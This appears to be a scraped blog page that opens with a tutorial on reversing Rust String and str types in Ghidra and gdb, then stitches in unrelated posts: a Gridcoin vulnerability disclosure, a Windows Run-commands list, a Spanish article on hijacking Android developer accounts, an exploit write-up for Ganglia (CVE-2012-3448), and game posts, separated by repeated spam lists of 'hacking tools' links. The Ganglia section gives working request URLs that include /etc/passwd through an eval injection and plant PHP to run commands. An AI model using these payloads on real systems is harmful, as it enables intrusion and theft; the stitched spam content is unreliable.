Monday, April 13, 2020

Reversing Rust String And Str Datatypes

Lets build an app that uses several data-types in order to see how is stored from a low level perspective.

Rust string data-types

The two first main objects are "str" and String, lets check also the constructors.




Imports and functions

Even such a basic program links several libraries and occupy 2,568Kb,  it's really not using the imports and expots the runtime functions even the main. 


Even a simple string operation needs 544 functions on rust:


Main function

If you expected see a clear main function I regret to say that rust doesn't seem a real low-level language In spite of having a full control of the memory.


Ghidra turns crazy when tries to do the recursive parsing of the rust code, and finally we have the libc _start function, the endless loop after main is the way Ghidra decompiles the HLT instruction.


If we jump to main, we see a function call, the first parameter is rust_main as I named it below:



If we search "hello world" on the Defined Strings sections, matches at the end of a large string


After doing "clear code bytes" we can see the string and the reference:


We can see that the literal is stored in an non null terminated string, or most likely an array of bytes. we have a bunch of byte arrays and pointed from the code to the beginning.
Let's follow the ref.  [ctrl]+[shift]+[f] and we got the references that points to the rust main function.


After several naming thanks to the Ghidra comments that identify the rust runtime functions, the rust main looks more understandable.
See below the ref to "hello world" that is passed to the string allocated hard-coding the size, because is non-null terminated string and there is no way to size this, this also helps to the rust performance, and avoid the c/c++ problems when you forgot the write the null byte for example miscalculating the size on a memcpy.


Regarding the string object, the allocator internals will reveal the structure in static.
alloc_string function call a function that calls a function that calls a function and so on, so this is the stack (also on static using the Ghidra code comments)

1. _$LT$alloc..string..String$u20$as$u20$core..convert..From$LT$$RF$str$GT$$GT$::from::h752d6ce1f15e4125
2. alloc::str::_$LT$impl$u20$alloc..borrow..ToOwned$u20$for$u20$str$GT$::to_owned::h649c495e0f441934
3. alloc::slice::_$LT$impl$u20$alloc..borrow..ToOwned$u20$for$u20$$u5b$T$u5d$$GT$::to_owned::h1eac45d28
4. alloc::slice::_$LT$impl$u20$$u5b$T$u5d$$GT$::to_vec::h25257986b8057640
5. alloc::slice::hack::to_vec::h37a40daa915357ad
6. core::slice::_$LT$impl$u20$$u5b$T$u5d$$GT$::len::h2af5e6c76291f524
7. alloc::vec::Vec$LT$T$GT$::extend_from_slice::h190290413e8e57a2
8. _$LT$alloc..vec..Vec$LT$T$GT$$u20$as$u20$alloc..vec..SpecExtend$LT$$RF$T$C$core..slice..Iter$LT$T$GT$$GT$$GT$::spec_extend::h451c2f92a49f9caa
...


Well I'm not gonna talk about the performance impact on stack but really to program well reusing code grants the maintainability and its good, and I'm sure that the rust developed had measured that and don't compensate to hardcode directly every constructor.

At this point we have two options, check the rust source code, or try to figure out the string object in dynamic with gdb.

Source code

Let's explain this group of substructures having rust source code in the hand.
The string object is defined at string.rs and it's simply an u8 type vector.



And the definition of vector can be found at vec.rs  and is composed by a raw vector an the len which is the usize datatype.



The RawVector is a struct that helds the pointer to the null terminated string stored on an Unique object, and also contains the allocation pointer, here raw_vec.rs definition.



The cap field is the capacity of the allocation and a is the allocator:



Finally the Unique object structure contains a pointer to the null terminated string, and also a one byte marker core::marker::PhantomData



Dynamic analysis

The first parameter of the constructor is the interesting one, and in x64 arch is on RDI register, the extrange sequence RDI,RSI,RDX,RCX it sounds like ACDC with a bit of imagination (di-si-d-c)

So the RDI parĂ¡meter is the pointer to the string object:



So RDI contains the stack address pointer that points the the heap address 0x5578f030.
Remember to disable ASLR to correlate the addresses with Ghidra, there is also a plugin to do the synchronization.

Having symbols we can do:
p mystring

and we get the following structure:

String::String {
  vec: alloc::vec::Vec {
    buf: alloc::raw_vec::RawVec {
      ptr: core::ptr::unique::Unique {
        pointer: 0x555555790130 "hello world\000",
        _marker: core::marker::PhantomData
     },
     cap: 11,
     a: alloc::alloc::Global
   },
   len: 11
  }
}

If the binary was compiled with symbols we can walk the substructures in this way:

(gdb) p mystring.vec.buf.ptr
$6 = core::ptr::unique::Unique {pointer: 0x555555790130 "hello world\000", _marker: core::marker::PhantomData}

(gdb) p mystring.vec.len

$8 = 11

If we try to get the pointer of each substructure we would find out that the the pointer is the same:


If we look at this pointer, we have two dwords that are the pointer to the null terminated string, and also 0xb which is the size, this structure is a vector.


The pionter to the c string is 0x555555790130




This seems the c++ string but, let's look a bit deeper:

RawVector
  Vector:
  (gdb) x/wx 0x7fffffffdf50
  0x7fffffffdf50: 0x55790130  -> low dword c string pointer
  0x7fffffffdf54: 0x00005555  -> hight dword c string pointer
  0x7fffffffdf58: 0x0000000b  -> len

0x7fffffffdf5c: 0x00000000
0x7fffffffdf60: 0x0000000b  -> low cap (capacity)
0x7fffffffdf64: 0x00000000  -> hight cap
0x7fffffffdf68: 0xf722fe27  -> low a  (allocator)
0x7fffffffdf6c: 0x00007fff  -> hight a
0x7fffffffdf70: 0x00000005 

So in this case the whole object is in stack except the null-terminated string.




Related news

Gridcoin - The Bad

In this post we will show why Gridcoin is insecure and probably will never achieve better security. Therefore, we are going to explain two critical implementation vulnerabilities and our experience with the core developer in the process of the responsible disclosure. 
    In our last blog post we described the Gridcoin architecture and the design vulnerability we found and fixed (the good). Now we come to the process of responsibly disclosing our findings and try to fix the two implementation vulnerabilities (the bad).

    Update (15.08.2017):
    After the talk at WOOT'17 serveral other developers of Gridcoin quickly reached out to us and told us that there was a change in responsibility internally in the Gridcoin-Dev team. Thus, we are going to wait for their response and then change this blog post accordingly. So stay tuned :)

    Update (16.08.2017):
    We are currently in touch with the whole dev team of Gridcoin and it seems that they are going to fix the vulnerabilities with the next release.


    TL;DR
    The whole Gridcoin currency is seriously insecure against attacks and should not be trusted anymore; unless some developers are in place, which have a profound background in protocol and application security.

    What is Gridcoin?

    Gridcoin is an altcoin, which is in active development since 2013. It claims to provide a high sustainability, as it has very low energy requirements in comparison to Bitcoin. It rewards users for contributing computation power to scientific projects, published on the BOINC project platform. Although Gridcoin is not as widespread as Bitcoin, its draft is very appealing as it attempts to  eliminate Bitcoin's core problems. It possesses a market capitalization of $13,530,738 as of August the 4th 2017 and its users contributed approximately 5% of the total scientific BOINC work done before October 2016.

    A detailed description of the Gridcoin architecture and technical terms used in this blog post are explained in our last blog post.

    The Issues

    Currently there are 2 implementation vulnerabilities in the source code, and we can mount the following attacks against Gridcoin:
    1. We can steal the block creation reward from many Gridcoin minters
    2. We can efficiently prevent many Gridcoin minters from claiming their block creation reward (DoS attack)
    So why do we not just open up an issue online explaining the problems?

    Because we already fixed a critical design issue in Gridcoin last year and tried to help them to fix the new issues. Unfortunately, they do not seem to have an interest in securing Gridcoin and thus leave us no other choice than fully disclosing the findings.

    In order to explain the vulnerabilities we will take a look at the current Gridcoin source code (version 3.5.9.8).

    WARNING: Due to the high number of source code lines in the source files, it can take a while until your browser shows the right line.

    Stealing the BOINC block reward

    The developer implemented our countermeasures in order to prevent our attack from the last blog post. Unfortunately, they did not look at their implementation from an attacker's perspective. Otherwise, they would have found out that they conduct not check, if the signature over the last block hash really is done over the last block hash. But we come to that in a minute. First lets take a look at the code flow:

    In the figure the called-by-graph can be seen for the function VerifyCPIDSignature.
    1. CheckBlock → DeserializeBoincBlock [Source]
      • Here we deserialize the BOINC data structure from the first transaction
    2. CheckBlock → IsCPIDValidv2 [Source]
      • Then we call a function to verify the CPID used in the block. Due to the massive changes over the last years, there are 3 possible verify functions. We are interested in the last one (VerifyCPIDSignature), for the reason that it is the current verification function.
    3. IsCPIDValidv2 → VerifyCPIDSignature [Source]
    4. VerifyCPIDSignature → CheckMessageSignature [Source, Source]
    In the last function the real signature verification is conducted [Source]. When we closely take a look at the function parameter, we see the message (std::string sMsg)  and the signature (std::string sSig) variables, which are checked. But where does this values come from?


    If we go backwards in the function call graph we see that in VerifyCPIDSignature the sMsg is the string sConcatMessage, which is a concatenation of the sCPID and the sBlockHash.
    We are interested where the sBlockHash value comes from, due to the fact that this one is the only changing value in the signature generation.
    When we go backwards, we see that the value originate from the deserialization of the BOINC structure (MiningCPID& mc) and is the variable mc.lastblockhash [Source, Source]. But wait a second, is this value ever checked whether it contains the real last block hash?

    No, it is not....

    So they just look if the stored values there end up in a valid signature.

    Thus, we just need to wait for one valid block from a researcher and copy the signature, the last block hash value, the CPID and adjust every other dynamic value, like the RAC. Consequently, we are able to claim the reward of other BOINC users. This simple bug allows us again to steal the reward of every Gridcoin researcher, like there was never a countermeasure.

    Lock out Gridcoin researcher
    The following vulnerability allows an attacker under specific circumstances to register a key pair for a CPID, even if the CPID was previously tied to another key pair. Thus, the attacker locks out a legit researcher and prevent him from claiming BOINC reward in his minted blocks.

    Reminder: A beacon is valid for 5 months, afterwards a new beacon must be sent with the same public key and CPID.

    Therefore, we need to take a look at the functions, which process the beacon information. Every time there is a block, which contains beacon information, it is processed the following way (click image for higher resolution):


    In the figure the called-by-graph can be seen for the function GetBeaconPublicKey.
    We now show the source code path:
    • ProcessBlock → CheckBlock [Source]
    • CheckBlock → LoadAdminMessages [Source]
    • LoadAdminMessages → MemorizeMessages [Source]
    • MemorizeMessages → GetBeaconPublicKey [Source]
    In the last function GetBeaconPublicKey there are different paths to process a beacon depending on the public key, the CPID, and the time since both were associated to each other.
    For the following explanation we assume that we have an existing association (bound) between a CPID A and a public key pubK_A for 4 months.
    1. First public key for a CPID received [Source]
      • The initial situation, when pubK_A was sent and bind to CPID  A (4 months ago)
    2. Existing public key for a CPID was sent [Source]
      • The case that pubK_A was resent for a CPID A, before the 5 months are passed by
    3. Other public key for a CPID was sent [Source]
      • The case, if a different public key pubK_B for the CPID A was sent via beacon.
    4. The existing public key for the CPID is expired
      • After 5 months a refresh for the association between A and pubK_A is required.
    When an incoming beacon is processed, a look up is made, if there already exists a public key for the CPID used in the beacon. If yes, it is compared to the public key used in the beacon (case 2 and 3).
    If no public key exists (case 1) the new public key is bound to the CPID.

    If a public key exists, but it was not refreshed directly 12.960.000 seconds (5 months [Source]) after the last beacon advertisement of the public key and CPID, it is handled as no public key would exist [Source].

    Thus, case 1 and 4 are treated identical, if the public key is expired, allowing an attacker to register his public key for an arbitrary CPID with expired public key. In practice this allows an attacker to lock out a Gridcoin user from the minting process of new blocks and further allows the attacker to claim reward for BOINC work he never did.

    There is a countermeasure, which allows a user to delete his last beacon (identified by the CPID) . Therefore, the user sends 1 GRC to a special address (SAuJGrxn724SVmpYNxb8gsi3tDgnFhTES9) from an GRC address associated to this CPID [Source]. We did not look into this mechanism in more detail, because it only can be used to remove our attack beacon, but does not prevent the attack.

    The responsible disclosure process

    As part of our work as researchers we all have had the pleasure to responsible disclose the findings to developer or companies.

    For the reasons that we wanted to give the developer some time to fix the design vulnerabilities, described in the last blog post, we did not issue a ticket at the Gridcoin Github project. Instead we contacted the developer at September the 14th 2016 via email and got a response one day later (2016/09/15). They proposed a variation of our countermeasure and dropped the signature in the advertising beacon, which would result in further security issues. We sent another email (2016/09/15) explained to them, why it is not wise to change our countermeasures and drop the signature in the advertising beacon.
    Unfortunately, we did not receive a response. We tried it again on October the 31th 2016. They again did not respond, but we saw in the source code that they made some promising changes. Due to some other projects we did not look into the code until May 2017. At this point we found the two implementation vulnerabilities. We contacted the developer twice via email (5th and 16th of May 2017) again, but never received a response. Thus, we decided to wait for the WOOT notification to pass by and then fully disclose the findings. We thus have no other choice then to say that:

    The whole Gridcoin cryptocurrency is seriously insecure against attacks and should not be trusted anymore; unless some developers are in place, which have a profound background in protocol and application security.

    Further Reading
    A more detailed description of the Gridcoin architecture, the old design issue and the fix will be presented at WOOT'17. Some days after the conference the paper will be available online.
    Related links

    1. Hack Tools For Pc
    2. Hacking Tools Windows 10
    3. Hack Tools For Games
    4. Install Pentest Tools Ubuntu
    5. Hack Tool Apk No Root
    6. Hacking App
    7. Hacker Tools Hardware
    8. Hacker Tools Github
    9. Github Hacking Tools
    10. Pentest Reporting Tools
    11. Hacking Tools For Windows Free Download
    12. Hacker Tools Mac
    13. Pentest Recon Tools
    14. Hacking Tools Software
    15. World No 1 Hacker Software
    16. Hack Tools For Windows
    17. Pentest Tools Download
    18. Hack Tools
    19. Install Pentest Tools Ubuntu
    20. Tools For Hacker
    21. Pentest Tools Windows
    22. Pentest Tools Free
    23. Hacker Techniques Tools And Incident Handling
    24. Hacking Tools Hardware
    25. Hacking Tools Online
    26. Hack Tools Mac
    27. Pentest Tools Url Fuzzer
    28. Pentest Tools Free
    29. Hacking Tools For Windows Free Download

    15 Important Run Commands Every Windows User Should Know

    There are several ways to efficiently access the files, folders, and programs in Windows operating system. We can create shortcuts, pin programs to the taskbar, Start menu shortcuts etc. but we can't do it for all programs in many cases. However, the Windows Run Command box is one of the most efficient ways of accessing system programs, folders, and settings.

    In this article, I am going to share 15 most important Run commands for Windows users. These commands can make it easier to manage a lot of tasks.
    How to open Windows Run command box?
    You need to press Win+R (Hold Windows button then Press R)

    Important Run Commands Every Windows User Should Know

    1. %temp%
    This is the fastest way to clear the temporary files from your computer. It can save a lot of space which was being wasted by temporary files.
    2. cmd 
    This command will open the windows DOS command prompt. Windows command prompt is very useful for performing many tasks which are not possible using graphical user interface.
    3. MSConfig
    Windows Run Command - MSconfig-compressed
    Windows System Configuration
    This command will open Windows System Configuration where you can edit different things like the boot options, startup options, services, etc.
    4. sysdm.cpl
    Windows Run Command - sysdm cpl-compressed
    System Properties window
    This command will open the System Properties window, Where you can change the system protection and performance related many settings
    5. Powershell
    Powershell is very similar the command prompt. Just type this command in the Run dialog box, and you will have your PowerShell opened without administrator privileges.
    6. perfmon.msc
    Windows Run Command - perfmon msc-compressed
    Windows System Performance monitor
    This command can be used to monitor the performance of your computer. There are plenty of options for monitoring the system performance
    7. regedit
    Regedit Run command is used to open the Windows Registry. It is a hierarchical database that hosts all the configurations and settings of Windows operating system, it's users and the installed software.
    8. \ (Backslash)
    This is one of the lesser known Run commands. Just enter the backslash into the Run dialog box and it will open up the C drive. It is one of the quickest ways to access the C drive.
    9. . (Dot)
    This is yet another lesser known Run command. When executed, it opens the current user's home folder which hosts all the other local folders like the Downloads, Documents, Desktop, Pictures, etc.
    10. .. (Double Dots)
    When you execute these two dots in the Run dialog box, it will open up the Users folder which is located directly on the C drive
    11. Control
    This command will open the control panel. Control panel is used for managing all the system settings and programs
    12. hdwwiz.cpl
    Windows Run Command - hdwwiz-
    Windows Device Manager
    This command is used to open the Device Manager in Windows. You can manage all the device connected internally or externally to your PC.
    13. Notepad
    The quickest way to open notepad in Windows. Just type this command in Run Box and hit enter.
    14. osk
    This command will open On-Screen Keyboard on your display monitor. You can easily touch and type or use your mouse for typing.
    15. taskmgr 
    This command will open task manager where you can manage all the processes and programs running on Windows Operating system.
    Continue reading
    1. Nsa Hack Tools
    2. Hacker Tools For Pc
    3. Pentest Tools Subdomain
    4. Hack Tools For Pc
    5. Hacking Apps
    6. Hacking Tools Hardware
    7. Hacking Tools Online
    8. Wifi Hacker Tools For Windows
    9. Hacker Tools Free
    10. Hack Tools For Games
    11. Tools Used For Hacking
    12. Hacking Tools For Mac
    13. Hacking Tools Kit
    14. Android Hack Tools Github
    15. Hacking Tools
    16. Hak5 Tools

    Gremlin Botnets: El Club De Los Poetas Muertos [Parte 6 De 6]

    Y paso a paso llegamos a la Ăºltima parte de esta serie. Ya hemos visto cĂ³mo puede robar fĂ¡cilmente el control de una Cuenta de Developer de Android de un desarrollador si se caduca la cuenta de correo electrĂ³nico asociada a ella. Esto es algo que puede ocurrir por muchas factores, como que la cuenta de e-mail sea abandonada, o el fallezca el desarrollador y nadie elimine sus apps o tome control de ellas "legĂ­timamente".

    Figura 60: Gremlin Botnets: El club de los poetas muertos [Parte 6 de 6]

    En la prueba que hicimos en la parte anterior de este artĂ­culo vimos como habĂ­amos sido capaces de localizar con un test no demasiado grande un total de ocho cuentas de desarrolladores que podĂ­amos controlar al ser capaces de tomar posesiĂ³n de sus direcciones caducadas de correo electrĂ³nico. Pero si evaluamos ahora el impacto que estas cuentas tienen, el resultado es muy grande.

    Impacto de la investigaciĂ³n de "los poetas muertos"

    Al final, un desarrollador tiene varias apps subidas a Google Play, y cada una de esas apps tiene una base de usuarios que las han instalado. Es decir, una cuenta de desarrollador puede traer miles o cientos de miles de dispositivos mĂ³viles que unir a nuestra Gremlin Botnet por medio de convertir una a una todas esas apps en nuevas Gremlin Apps.

    Figura 61: Lista de apps afectadas

    En nuestro caso, con solo 8 cuentas de desarrollador se podĂ­an controlar un total de 35 diferentes apps, todas ellas con un diferente nĂºmero de instalaciones, como podĂ©is ver en la tabla, llevando a que un atacante se hiciera con una Gremlin Botnet de apps que poder volver maliciosas de una forma sencilla y de un tamaño considerable.

    En nuestra investigaciĂ³n, el nĂºmero total de instalaciones activas de estas apps ascendĂ­a a un nada desdeñable nĂºmero de 4.854.350 descargas, lo que da una clara idea de la magnitud del problema que se puede producir si no se controla la caducidad de las cuentas de correo de los desarrolladores de las apps que tĂº, como administrador del parque mĂ³vil y/o responsable de seguridad de una empresa, no controlas.

    Figura 62: ClasificaciĂ³n de los paquetes APK de apps en riesgo

    Por supuesto, todos los paquetes de las apps que tienen una cuenta de desarrollador con una direcciĂ³n de e-mail que cualquiera puede registrar debe levantar una alerta en todos los sistemas de seguridad, por eso en Tacyt, mASAPP y CyberThreats se generan esos reportes de seguridad que, si tienes la gestiĂ³n de seguridad automatizada con una plataforma tipo SandaS GRC para ver tus indicadores de riesgo, te muestra la situaciĂ³n en tiempo real en cualquier cuadro de mandos.


    Figura 63: Control del riesgo digital con SandaS GRC

    Por supuesto, el problema, desde el punto de vista de seguridad, es un poco mayor y no nos podemos quedar aquĂ­, ya que si tenemos la cuenta de un desarrollador de una app, probablemente esa aplicaciĂ³n necesitarĂ¡ infraestructura, y puede que tambiĂ©n estĂ© en riesgo.

    Cuenta de developer, cuenta de infraestructura

    Al final, cuando un desarrollador hace una aplicaciĂ³n mĂ³vil, probablemente necesite un backend donde almacenar datos. A este backend, que puede ser un servidor en un proveedor de hosting, o un entorno de cloud IaaS o PaaS, tendrĂ¡ algĂºn nombre de dominio, que seguramente estĂ© registrado a su nombre, etcetera.

    Es decir, si tienes una direcciĂ³n de correo electrĂ³nico que pertenece a un desarrollador, probablemente tambiĂ©n tengas la cuenta que abre muchos otros servicios de infraestructura que se pueden descubrir simplemente abriendo el cĂ³digo de la app extrayĂ©ndolo del APK y viendo a quĂ© servidores se conectan, algo que como sabĂ©is hacemos en Tacyt.

    Figura 65: Links extraĂ­dos en Tacyt de una app

    Por supuesto, una vez descubiertos esos servidores de backend, un atacante puede utilizar esa cuenta para ver si el desarrollador la ha utilizado como identificador del servicio. Algo muy comĂºn, pero que no deberĂ­a haber pasado nunca.

    El dĂ­a que utilizamos la direcciĂ³n de correo electrĂ³nico como identificador de cuentas, convertimos algo que deberĂ­a ser siempre pĂºblico (una direcciĂ³n de mensajerĂ­a) en algo que no tiene por quĂ© ser pĂºblico, el id que abre una zona segura en una plataforma. Una de las cosas por las que dije aquello de que el e-mail estaba muerto, ¡larga vida al e-mail!

    Tacyt & CARMA: Investigar en el mundo del malware

    Como muchas veces hemos contado, en ElevenPaths hacemos muchas investigaciones al respecto del malware, adware, cibercrimen o mejoras de seguridad en el mundo de las apps mĂ³viles, y compartimos esas investigaciones con otros centros de formaciĂ³n, organizaciones y empresas. AsĂ­, tenemos un programa de colaboraciĂ³n para investigaciĂ³n en Tacyt para evolucionar los sistemas de seguridad del mundo de las apps mĂ³viles. Nuestro compañero Sergio de los Santos ha dirigido investigaciones con la Universidad PolitĂ©cnica de Madrid e IMDEA o con la Universidad Piraeus en Grecia, donde hemos dado acceso a nuestra plataforma a sus equipos de investigaciĂ³n. 

    Figura 66: CARMA ofrece muestras de malware en apps para investigadores

    Y ahora hemos dado un paso mĂ¡s con el lanzamiento del programa Curated Android Malware APK Set (CARMA), que es un servicio gratuito ofrecido por el Ă¡rea de InnovaciĂ³n y Laboratorio de ElevenPaths. En Ă©l se proporciona a los investigadores un conjunto de muestras de malware, adware y otros archivos potencialmente peligrosos recopilados para el sistema operativo Android. Estas muestras tienen un uso exclusivamente destinado a la investigaciĂ³n o estudio acadĂ©mico y estĂ¡ prohibido su uso para cualquier otro fin, lucrativo o no.

    Figura 67: Solicitud de participar en el programa CARMA

    El fin de estos conjuntos es proporcionar muestras de calidad que puedan ser utilizadas para su anĂ¡lisis en sistemas expertos, Machine Learning aplicado a Ciberseguridad, nuevas ideas usando Inteligencia Artificial o cualquier otro mĂ©todo que permita mejorar la detecciĂ³n futura de este tipo de amenazas.

    Figura 68: Tipo, año y tamaños de las muestras que se pueden solicitar

    Como se puede ver, en Ă©l se ofrece un conjunto de varios Gigabytes de muestras de malware completas en su formato original, no alteradas y clasificadas por año, origen y tipo de amenaza. Desde Google Play y otros markets de aplicaciones, PUP, adware, malware, etcĂ©tera, todas ellas clasificadas por años desde 2017, y  donde tambiĂ©n hay goodware.

    Conclusiones finales y PPTs

    El smartphone se ha convertido en el centro de nuestra vida digital personal, y por tanto las apps son parte de nuestro desarrollo persona, profesional y en sociedad. Necesitamos tener un ecosistema seguro de aplicaciones mĂ³viles para salvaguardar nuestra vida digital.

    Entender los riesgos, las amenazadas y como gestionar esos peligros es fundamental. Las Gremlin Botnets bajo el control de grupos cibercriminales o de ciberespionaje son un riesgo importante para gobiernos y empresas. Las Gremlin Apps son un riesgo para las personas en Internet que pueden ver su vida totalmente comprometida.

    Figura 69: CĂ³mo protegerse de los peligros en Internet

    En esta investigaciĂ³n solo quisimos poner de manifiesto cĂ³mo, si no tomamos precauciones, el poseedor de una Gremlin Botnet puede tener un poder muy peligroso, y por lo tanto todos tenemos que colaborar en su erradicaciĂ³n.


    Para terminar os, dejo las diapositivas que utilicĂ© para la presentaciĂ³n de esta charla en RootedCON 2020 subidas a mi SlideShare, donde podĂ©is ver resumido todo este largo artĂ­culo de seis partes. Esperamos que esta investigaciĂ³n os haya sido de utilidad y podĂ¡is aplicar alguna medida de contenciĂ³n de estos riesgos.

    Saludos Malignos!

    *********************************************************************************
    - Gremlin Botnets: El club de los poetas muertos [Parte 6 de 6]
    *********************************************************************************

    Autor: Chema Alonso (Contactar con Chema Alonso)



    Related news
    1. Hacking Tools Name
    2. Free Pentest Tools For Windows
    3. Pentest Tools For Windows
    4. Hack App
    5. Blackhat Hacker Tools
    6. Pentest Tools Apk
    7. Hacking Tools For Beginners
    8. Computer Hacker
    9. Best Hacking Tools 2020
    10. Hack Apps
    11. Hack And Tools
    12. Hak5 Tools
    13. Beginner Hacker Tools
    14. Best Hacking Tools 2019
    15. Termux Hacking Tools 2019
    16. Hacking App
    17. Hacking Tools Online
    18. Nsa Hack Tools
    19. Pentest Tools
    20. Growth Hacker Tools
    21. Hacker Tools For Ios
    22. Pentest Tools Github

    Extending Your Ganglia Install With The Remote Code Execution API

    Previously I had gone over a somewhat limited local file include in the Ganglia monitoring application (http://ganglia.info). The previous article can be found here -
    http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html

    I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
    https://github.com/ganglia/ganglia-web
    Looking at the code the following (abbreviated "graph.php") sequence can be found -

    $graph = isset($_GET["g"])  ?  sanitize ( $_GET["g"] )   : "metric";
    ....
    $graph_arguments = NULL;
    $pos = strpos($graph, ",");
    $graph_arguments = substr($graph, $pos + 1);
    ....
    eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');


    I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -

    function sanitize ( $string ) {
      return  escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
    }


    According the the PHP documentation -
    Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.


    This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
    http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'

    Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
    As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
    http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=

    This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call - 
    http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'


    As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.

    Update: This issue has been assigned CVE-2012-3448

    Continue reading


    Saturday, April 11, 2020

    99005, Robin Hood!

    Thank you all once again for your patience! Today's episode is about Robin Hood by Xonox. Xonox seems to be a company that people are split on, so tune in to see how it goes for Robin Hood. Next up is Z-Tack by Bomb. Please send me your feedback by March 29th to be included in the show. I will supply all the info about the game, you tell me your thoughts. Please. Stay safe out there everyone, I wish you all the best and I thank you for listening.

    Robin Hood on Random Terrain
    Thread on Atari Age by Arthur Krewat from Computer Magic
    Computer Magic entry on GDRI website
    No Swear Gamer 276 - Robin Hood 
    No Swear Gamer Robin Hood Gameplay

    Wednesday, April 8, 2020

    Big Suzy Cube News: Gear And Google Play Pass!

    #SuzyCube #gamedev #indiedev #madewithunity @NoodlecakeGames

    It's been a while but I've got some big news for fans of Suzy Cube and stuff! Oh! And a whole new way to enjoy Suzy Cube on Android! Hit the link for the detail!
    Read more »